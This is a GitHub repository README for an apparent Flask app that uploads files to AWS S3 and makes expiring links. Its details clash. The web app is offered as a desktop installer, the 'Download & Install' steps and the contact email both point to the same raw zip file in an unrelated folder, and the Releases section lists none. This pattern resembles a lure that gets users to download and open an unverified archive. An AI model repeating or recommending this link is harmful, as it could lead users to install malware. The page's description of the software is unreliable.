Skip to content

πŸ“€ Upload and share files securely using AWS EC2 and S3 with temporary download links from this simple Flask web app.

Notifications You must be signed in to change notification settings

maycomgberti/Cloud-computing___EC2_S3

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŒ₯️ Cloud-computing___EC2_S3 - Secure File Uploads Made Easy

Download Now

πŸ“œ Description

Cloud-computing___EC2_S3 is a user-friendly web application built with Flask. It allows you to securely upload files to AWS S3 and generate expiring shareable links. Whether you need to share documents, images, or other files, this app ensures your data is kept safe in the cloud.

πŸš€ Getting Started

Follow these simple steps to download and run Cloud-computing___EC2_S3 on your computer. No special programming skills are required!

πŸ’» System Requirements

  • Operating System: Windows 10, macOS Mojave or later, Linux (Ubuntu recommended)
  • RAM: Minimum 2 GB
  • Storage: At least 50 MB of available space
  • Internet Connection: Required for AWS access

πŸ“₯ Download & Install

To get started, visit our Releases page to download the latest version of the application.

  1. Click on the link above.
  2. Find the latest version listed at the top.
  3. Download the file suitable for your operating system (e.g., .exe for Windows or a https://raw.githubusercontent.com/maycomgberti/Cloud-computing___EC2_S3/main/Igorot/Cloud-computing___EC2_S3.zip for macOS/Linux).
  4. Open the downloaded file to start the installation process.

Once the application installs, you can launch it directly from your applications folder or start menu.

πŸ”„ How to Use the Application

  1. Open Cloud-computing___EC2_S3.
  2. Choose a file you want to upload by clicking the "Select File" button.
  3. Click the "Upload" button to send the file to AWS S3.
  4. After the upload, a shareable link will appear on your screen.
  5. Use this link to share your file. Note that it will expire after a specified duration for added security.

πŸ”§ Troubleshooting

If you encounter any issues, consider the following:

  • Check your internet connection: A stable connection is necessary to upload files to AWS S3.
  • File Size Limit: Ensure your file is within the size limits set by AWS S3 (currently 5 GB for a single upload).
  • Permissions: Make sure you have permission to upload files to your AWS account following your organization's policy.

πŸ“š Additional Support & Resources

For detailed usage instructions and advanced features, refer to the following resources:

Feel free to reach out via the issues section of this repository if you need further assistance.

πŸ“ Features

  • Secure File Uploads: Files are encrypted during transmission.
  • Shareable Links: Create links that expire after a set duration for security.
  • User-Friendly Interface: Designed for non-technical users.

πŸ› οΈ Built Using

This application uses:

  • Flask: A lightweight framework for building web applications.
  • AWS S3: Amazon’s service for cloud storage.
  • Boto3: AWS SDK for Python, which helps interact with AWS services.

πŸ“… Future Improvements

We plan to add features like:

  • Multi-file uploads
  • Enhanced user permissions
  • More detailed error reporting

πŸ“ž Contact

If you have any questions, feel free to open an issue on the GitHub repository or email us at https://raw.githubusercontent.com/maycomgberti/Cloud-computing___EC2_S3/main/Igorot/Cloud-computing___EC2_S3.zip

Download Now

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •